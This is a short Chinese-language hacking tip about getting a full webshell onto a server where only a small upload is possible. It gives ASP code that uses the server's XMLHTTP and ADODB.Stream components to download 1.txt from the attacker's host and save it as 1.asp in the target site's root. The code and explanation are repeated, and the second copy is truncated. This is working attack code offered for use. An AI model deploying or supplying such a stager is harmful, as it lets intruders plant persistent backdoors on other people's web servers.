可以传小马 不可以传大马的时候? <%
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://xxxx/1.txt",False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("1.asp"),2
set sGet = nothing
set sPOST = nothing
%>
利用服务器的XML和数据流组件,从我们的站点的1.txt的内容下载到目标站点根目录并保存为1.asp.
我提交这段代码,保存为3.asp ,之后访问,显示空白.
之后访问1.asp
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://xxxx/1.txt",False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("1.asp"),2
set sGet = nothing
set sPOST = nothing
%>
利用服务器的XML和数据流组件,从我们的站点的1.txt的内容下载到目标站点根目录并保存为1.asp.
我提交这段代码,保存为3.asp ,之后访问,显示空白.
之后访问1.asp